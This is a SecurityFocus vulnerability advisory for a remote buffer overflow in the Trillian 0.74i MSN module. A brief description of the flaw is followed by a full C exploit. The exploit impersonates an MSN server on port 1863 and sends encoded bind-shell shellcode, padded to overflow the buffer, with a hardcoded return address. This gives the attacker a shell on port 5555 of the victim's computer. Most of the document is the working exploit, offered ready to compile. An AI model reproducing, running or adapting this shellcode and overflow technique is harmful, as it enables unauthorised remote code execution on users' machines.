source: http://www.securityfocus.com/bid/11142/info

Trillian is reported prone to a remote buffer overflow vulnerability. This issue occurs due to insufficient boundary checks performed by the application and may allow an attacker to execute arbitrary code on a vulnerable computer. This could ultimately lead to an attacker gaining unauthorized access to the computer.

The vulnerability affects the MSN module and requires an attacker to pose as an MSN server through means such as a man-in-the-middle attack.

Trillian version 0.74i is reported prone to this issue, however, it is likely that other versions are affected as well.

/*
	Cerulean Studios Trillian 0.74i Buffer Overflow in MSN module exploit
	created by Komrade  -  http://unsecure.altervista.org

	Written for Windows 2000 / Windows XP.
	Tested on Windows XP Professional sp0.

	This exploit spawn a shell on port 5555, you have just to execute the
	program and connect to port 5555.
	
	This exploit requires the use of the man-in-the-middle technique.
*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <string.h>

int main(int argc,char **argv){

	char shellcode[] =
	"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB"
	"\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\xFD\x12\xD8\xA9\x12"
	"\xD9\x95\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12"
	"\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8"
	"\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E"
	"\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
	"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"
	"\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5"
	"\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0"
	"\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12"
	"\x41\x5E\x9E\x9B\x99\x8C\x2A\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66"
	"\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD"
	"\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF"
	"\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA"
	"\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9"
	"\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB"
	"\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66"
	"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB"
	"\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"
	"\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8"
	"\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA"
	"\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99"
	"\xF8\xFA\xFA\xFC\xE9\xED\x99";


	SOCKET sock, client;
	struct sockaddr_in sock_addr, client_addr;
	WSADATA data;
	WORD p;
	char mess[4096];
	int lun, n, i;

	p = MAKEWORD(2, 0);
	WSAStartup(p, &data);

	printf("------------------------------------------------------------------------\r\n");
	printf("-  Cerulean Studios Trillian 0.74i MSN module Buffer Overflow exploit  -\r\n");
	printf("-                   for Windows 2000 / Windows XP                      -\r\n");
	printf("-                                                                      -\r\n");
	printf("-         created by Komrade  -  http://unsecure.altervista.org        -\r\n");
	printf("------------------------------------------------------------------------\r\n");

	sock = socket(PF_INET,SOCK_STREAM, 0);
	sock_addr.sin_family = PF_INET;
	sock_addr.sin_port = htons(1863);
	sock_addr.sin_addr.s_addr = INADDR_ANY;

	bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
	listen(sock,1);

	lun = sizeof (struct sockaddr);

	printf("\r\nWaiting for a connection...\r\n");

	client = accept(sock, (struct sockaddr*)&client_addr, &lun);
	if (client <= 0){
		printf("Unable to wait for connections\r\n");
		exit(-1);
	}

	n=recv(client, mess, sizeof(mess),0);
	if (n < 0){
		printf("Error receving connections\r\n");
		exit(-1);
	}

	printf("Received a connection request from a client.\r\n");

	strcpy(mess, shellcode);

	for(i=strlen(shellcode); i < 4090; i++)
		mess[i]='x';

	mess[i]=0x33;	/**/
	mess[i+1]=0x12;	/*return address of a "call ebx" command in trillian.exe*/
	mess[i+2]=0x40;	/**/
	mess[i+3]='\r';
	mess[i+4]='\n';
	mess[i+5]='\0';

	n = send(client, mess, strlen(mess),0);
	if (n > 0){
		printf("Exploit sent succesfully.\r\n");
		printf("Now connect to port 5555.\r\n");
	}
	else
		printf("Error sending the exploit\r\n");

	closesocket (client);
	closesocket(sock);
	WSACleanup();
	return 0;
}
